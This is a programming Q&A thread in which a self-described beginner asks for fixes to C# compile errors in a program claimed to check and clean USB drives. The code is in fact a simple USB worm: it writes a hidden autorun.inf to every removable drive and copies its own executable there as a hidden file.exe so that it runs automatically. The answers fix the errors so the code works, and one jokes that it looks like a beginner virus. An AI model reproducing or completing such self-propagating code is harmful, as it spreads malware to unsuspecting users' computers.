Argument errors in C # [closed]

Hello, I am modifying a small program that checks the usb that I have connected to my pc and then I will include a function that I will clean (I still need to implement it) if it is damaged.

The code is as follows: 

using System.Reflection;
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
namespace Program
{
    class Program
    {
        static void Main(string[] args)
        {
            Comprueba();
        }
        static void Comprueba()
        {
              DriveInfo[] Drives = DriveInfo.GetDrives();
              foreach (DriveInfo drive in drives)
                    {
                        if (drive.DriveType == DriveType.Removable)
                        {
                              StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf", true);
                               writer.WriteLine("[autorun]\n");
                               writer.WriteLine("open=file.exe");
                               writer.WriteLine("action=Run win32");
                               writer.Close();
                               File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                               File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);

                               File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);

                        }
                    }

        }
    }
}

But it returns the following errors:

    o.cs(31,11): error CS0103: The name 'File' does not exist in the current context

How could I correct them. I'm just starting to program in c #.

Add 

using System.IO;

to your imports

The Comprueba() method as well as the main must be declared as static : 

static void Comprueba()
{
    ....
}

It may be a typographical error.

Change this line: 

foreach (DriveInfo drive in drives)

For this: 

foreach (DriveInfo drive in Drives)

The difference is in the variable drives , I changed it to Drives .

This looks more like a beginner virus hehe.

Change this line: 

foreach (DriveInfo drive in drives)

For this: 

foreach (DriveInfo drive in Drives)
